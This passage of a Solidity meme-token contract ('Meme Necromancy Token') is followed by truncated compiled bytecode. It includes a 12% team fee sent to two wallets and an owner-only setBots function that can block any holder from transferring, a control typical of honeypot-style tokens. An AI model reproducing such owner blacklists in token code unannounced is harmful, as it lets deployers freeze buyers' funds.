require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MemeNecromancyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Meme Necromancy Token";
string public constant _symbol = "MNT";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 12;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c6565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611975565b6040518082815260200191505060405180910390f35b60606040518060400160405280601581526020017f4d656d65204e6563726f6d616e637920546f6b656e0000000000000000000000815250905090565b60006108a161089a6119fc565b8484611a04565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfb565b61098a846108d56119fc565b61098585604051806060016040528060288152602001613ee860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245a9092919063ffffffff16565b611a04565b600190509392505050565b61099d6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fc565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251a565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612615565b90505b919050565b610d0b6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d4e540000000000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fc565b8484611bfb565b6001905092915050565b6040518060400160405280600381526020017f4d4e54000000000000000000000000000000000000000000000000000000000081525081565b610f4e6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fc565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d81612699565b50565b6111186119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a04565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550678ac7230489e800006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174e57600080fd5b505af1158015611762573d6000803e3d6000fd5b505050506040513d602081101561177857600080fd5b81019080805190602001909291905050505050565b6040518060400160405280601581526020017f4d656d65204e6563726f6d616e637920546f6b656e000000000000000000000081525081565b6117ce6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611904576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611933606461192583683635c9adc5dea0000061298390919063ffffffff16565b612a0990919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea56022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f396025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e586023913960400191505060405180910390fd5b60008111611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f106029913960400191505060405180910390fd5b611d68610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd65750611da6610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239757601360179054906101000a900460ff161561203c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb25750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203b57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f526119fc565b73ffffffffffffffffffffffffffffffffffffffff161480611fc85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb06119fc565b73ffffffffffffffffffffffffffffffffffffffff16145b61203a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212c5760145481111561207e57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121225750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212b57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d75750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122455750601360179054906101000a900460ff165b156122dd5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229557600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e830610c18565b9050601360159054906101000a900460ff161580156123555750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236d5750601360169054906101000a900460ff165b156123955761237b81612699565b60004790506000811115612393576123924761251a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244857600090505b61245484848484612a53565b50505050565b6000838311158290612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cc5780820151818401526020810190506124b1565b50505050905090810190601f1680156124f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256a600284612a0990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612595573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e6600284612a0990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612611573d6000803e3d6000fd5b5050565b6000600a54821115612672576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7b602a913960400191505060405180910390fd5b600061267c612caa565b90506126918184612a0990919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126ce57600080fd5b506040519080825280602002602001820160405280156126fd5781602001602082028036833780820191505090505b509050308160008151811061270e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b057600080fd5b505afa1580156127c4573d6000803e3d6000fd5b505050506040513d60208110156127da57600080fd5b8101908080519060200190929190505050816001815181106127f857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061285f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a04565b601260009054906101000a900473fffffffffffffffffffffffffffffff